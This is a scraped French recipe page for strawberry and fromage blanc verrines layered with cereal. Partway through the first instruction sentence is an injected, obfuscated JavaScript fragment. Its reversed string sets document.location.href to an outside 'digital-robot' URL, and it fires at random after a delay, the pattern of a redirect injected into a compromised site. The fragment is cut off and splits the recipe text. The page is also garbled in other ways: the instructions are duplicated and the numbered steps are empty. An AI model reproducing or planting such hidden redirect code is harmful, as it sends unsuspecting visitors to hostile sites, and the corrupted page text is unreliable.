Coupes de fraises aux céréales
2021-05-03- Thématique : Végétarien
- Niveau : Facile
Prélevez le zeste de l’orange, et la presser. Versez le jus dans une casserole. Portez à ébullition pendant 5 minutes. Hors du feu ajoutez la gelée de framboises, que vous faites fondre sur feu doux tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant.
Ingrédients
Prélevez le zeste de l'orange, et la presser. Versez le jus dans une casserole. Portez à ébullition pendant 5 minutes. Hors du feu ajoutez la gelée de framboises, que vous faites fondre sur feu doux tout en remuant. Ne pas rincer les fraises. Les équeuter et les détailler en fines rondelles. Déposez-les dans un saladier. Arroser les de jus d'orange. Réservez. Dans un autre récipient mélangez le fromage blanc avec le zeste d'orange et le sucre vanillé.
Montez les blancs en neige très ferme avec une pincée de sel fin. Les incorporer dans le fromage blanc avec une spatule en bois.
Garnissez des verrines en alternant une couche de fraises, une couche de mousse de fromage blanc et une couche de céréales. Servez frais avec pommes poêlées et du crottin de chèvre et du miel
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
Etape 14
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